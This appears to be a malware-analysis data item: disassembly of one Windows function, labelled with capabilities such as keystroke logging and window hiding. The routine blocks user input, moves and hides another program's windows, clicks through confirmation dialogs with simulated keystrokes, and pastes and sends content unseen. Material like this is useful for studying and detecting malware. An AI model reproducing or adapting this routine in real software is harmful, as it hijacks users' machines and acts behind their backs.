Function at 0x403020
Capabilities:
Check for time delay via gettickcount
Get graphical window text
Hide graphical window
Log keystrokes via polling

Disassembly:
sub esp, 0x2a4
mov eax, dword [0x4151a8]
push ebx
push ebp
mov ebp, dword [0x41738c]
mov dword [esp + 0x2a8], eax
lea eax, [esp + 0x1a8]
push 0x416600
inc ebp
push eax
mov dword [0x41738c], ebp
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push 0x411d04
push str.__oxFrame.class__
mov byte [0x417390], 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebx, eax
test ebx, ebx
mov dword [esp + 0x10], ebx
je 0x403543
push edi
push 1
call sub.USER32.dll_BlockInput
push str.OL_P_n
push 2
call fcn.00401ff0
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebx
call dword [sym.imp.USER32.dll_IsWindowVisible]
mov ebp, dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [sym.imp.USER32.dll_keybd_event]
test eax, eax
setne byte [esp + 0xf]
mov byte [esp + 0xd], 0
push esi
lea esp, [esp]
push 1
push ebx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xa
call ebp
lea ecx, [esp + 0x38]
push ecx
push ebx
call dword [sym.imp.USER32.dll_GetWindowRect]
push 1
push 0x2bc
push 0x2bc
push 0
push 0x1388
push ebx
call dword [sym.imp.USER32.dll_MoveWindow]
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push ebx
call dword [sym.imp.USER32.dll_SetFocus]
push 0x64
call ebp
xor esi, esi
push 0
push 0
push 0
push 0x25
call edi
push 0
push 0
push 0
push 0x26
call edi
xor edx, edx
mov eax, esi
mov ecx, 5
div ecx
test edx, edx
jne 0x40312e
push 1
call ebp
inc esi
cmp esi, 0x1f4
jl 0x403107
push 1
call ebp
xor esi, esi
lea ecx, [ecx]
push 0
push 0
push 0
push 0x27
call edi
push 0
push 0
push 0
push 0x28
call edi
xor edx, edx
mov eax, esi
mov ecx, 5
div ecx
test edx, edx
jne 0x403167
push 1
call ebp
inc esi
cmp esi, 0x1f4
jl 0x403140
push 0xa
call ebp
xor esi, esi
push esi
push esi
push esi
push 0x28
call edi
push esi
push esi
push esi
push 0xd
mov dword [esp + 0x30], esi
call edi
push 1
call ebp
push 0x1f4
call ebp
mov dword [esp + 0x1c], esi
jmp 0x4031a0
cmp dword [esp + 0x1c], 0x1f4
jge 0x4034ec
mov byte [esp + 0x12], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esp + 0x24], eax
lea ecx, [ecx]
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
cmp esi, ebx
je 0x40321f
push 0x11
lea edx, [esp + 0x4c]
push edx
push esi
call dword [sym.imp.USER32.dll_GetClassNameA]
lea eax, [esp + 0x48]
push eax
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push str.__oxFrame.class__
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp ebx, eax
jne 0x403237
test ebx, ebx
jle 0x40321b
mov eax, dword [esp + 0x14]
mov cl, byte [esp + eax + 0x48]
cmp cl, byte [eax + str.__oxFrame.class__]
jne 0x403237
inc eax
cmp eax, ebx
mov dword [esp + 0x14], eax
jl 0x403202
mov ebx, dword [esp + 0x18]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [esp + 0x24]
sub eax, 0x12c
cmp ecx, eax
jae 0x4031c0
jmp 0x403458
lea edx, [esp + 0x28]
push edx
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ebx, dword [sym.imp.USER32.dll_MoveWindow]
push 1
push 0x2bc
push 0x2bc
push 0
push 0xbb8
push esi
call ebx
push 0x32
call ebp
push 0x11
lea eax, [esp + 0x4c]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea ecx, [esp + 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 1
jle 0x403437
mov al, byte [esp + 0x11]
test al, al
jne 0x403367
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x32
call ebp
push 0x11
lea eax, [esp + 0x80]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [esp + 0x7c]
push ecx
call ebx
lea edx, [esp + 0x48]
push edx
mov dword [esp + 0x28], eax
call ebx
mov ecx, dword [esp + 0x24]
cmp eax, ecx
jne 0x4034b1
mov al, byte [esp + 0x7c]
cmp al, 0x30
je 0x403301
cmp al, 0x31
je 0x403301
cmp al, 0x32
je 0x403301
cmp al, 0x33
je 0x403301
cmp al, 0x34
je 0x403301
cmp al, 0x35
je 0x403301
cmp al, 0x36
je 0x403301
cmp al, 0x37
je 0x403301
cmp al, 0x38
je 0x403301
cmp al, 0x39
jne 0x403361
mov al, byte [esp + 0x7d]
cmp al, 0x30
je 0x403331
cmp al, 0x31
je 0x403331
cmp al, 0x32
je 0x403331
cmp al, 0x33
je 0x403331
cmp al, 0x34
je 0x403331
cmp al, 0x35
je 0x403331
cmp al, 0x36
je 0x403331
cmp al, 0x37
je 0x403331
cmp al, 0x38
je 0x403331
cmp al, 0x39
je 0x403331
cmp al, 0x20
jne 0x403361
mov al, byte [esp + 0x7e]
cmp al, 0x30
je 0x403361
cmp al, 0x31
je 0x403361
cmp al, 0x32
je 0x403361
cmp al, 0x33
je 0x403361
cmp al, 0x34
je 0x403361
cmp al, 0x35
je 0x403361
cmp al, 0x36
je 0x403361
cmp al, 0x37
je 0x403361
cmp al, 0x38
je 0x403361
cmp al, 0x39
jne 0x4034b1
mov ebx, dword [sym.imp.USER32.dll_MoveWindow]
push 1
push 0x2bc
push 0x2bc
push 0
push 0xbb8
push esi
call ebx
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x1f4
call ebp
mov dword [esp + 0x14], 0x64
push 0
push 0
push 0
push 8
call edi
dec dword [esp + 0x14]
jne 0x403393
lea eax, [esp + 0x1b0]
push eax
lea ecx, [esp + 0xb4]
push 0x411c6c
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
lea edx, [esp + 0xbc]
push edx
call fcn.004015e0
lea eax, [esp + 0xc0]
push esi
push eax
call fcn.00401f40
add esp, 0x18
push 0
push 1
push 0
push 0x11
call edi
push 0
push 0
push 0
push 0x56
call dword [sym.imp.USER32.dll_VkKeyScanA]
push eax
call edi
push 0
push 3
push 0x2d
push 0x11
call edi
push 0
push 0
push 0
push 0xd
call edi
push 0x1f4
call ebp
mov eax, dword [esp + 0x2c]
mov ecx, dword [esp + 0x34]
mov edx, dword [esp + 0x30]
push 0
sub ecx, eax
push ecx
mov ecx, dword [esp + 0x30]
sub edx, ecx
push edx
push eax
push ecx
push esi
call ebx
mov bl, 1
mov byte [esp + 0x11], bl
jmp 0x40343b
mov bl, byte [esp + 0x12]
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x32
call ebp
push 0
push 0
push 0
push 0x1b
call edi
test bl, bl
mov ebx, dword [esp + 0x18]
jne 0x403476
cmp dword [esp + 0x20], 0xa
jl 0x403470
mov dword [esp + 0x1c], 0x1f4
inc dword [esp + 0x1c]
jmp 0x4031a0
inc dword [esp + 0x20]
jmp 0x40347e
mov dword [esp + 0x20], 0
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push ebx
call dword [sym.imp.USER32.dll_SetFocus]
push 0
push 0
push 0
push 0x26
call edi
push 1
call ebp
push 0
push 0
push 0
push 0xd
call edi
push 0x64
call ebp
inc dword [esp + 0x1c]
jmp 0x4031a0
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0x32
call ebp
push 0
push 1
push 0
push 0x12
mov byte [esp + 0x21], 1
call edi
push 0
push 0
push 0
push 0x73
call edi
push 0
push 3
push 0x2d
push 0x12
call edi
push 0x32
call ebp
mov ebx, dword [esp + 0x18]
jmp 0x4030c0
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x44]
mov edx, dword [esp + 0x40]
push 1
sub ecx, eax
push ecx
mov ecx, dword [esp + 0x40]
sub edx, ecx
push edx
push eax
push ecx
push ebx
call dword [sym.imp.USER32.dll_MoveWindow]
mov al, byte [esp + 0x13]
test al, al
pop esi
jne 0x40351f
push 0
push ebx
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
call sub.USER32.dll_BlockInput
push 0x64
call ebp
push 0
push 1
push 0
push 0x11
call edi
push 0xa
call ebp
push 0
push 3
push 0x2d
push 0x11
call edi
pop edi
mov ecx, dword [esp + 0x2a8]
pop ebp
xor eax, eax
pop ebx
call fcn.004088de
add esp, 0x2a4
ret 4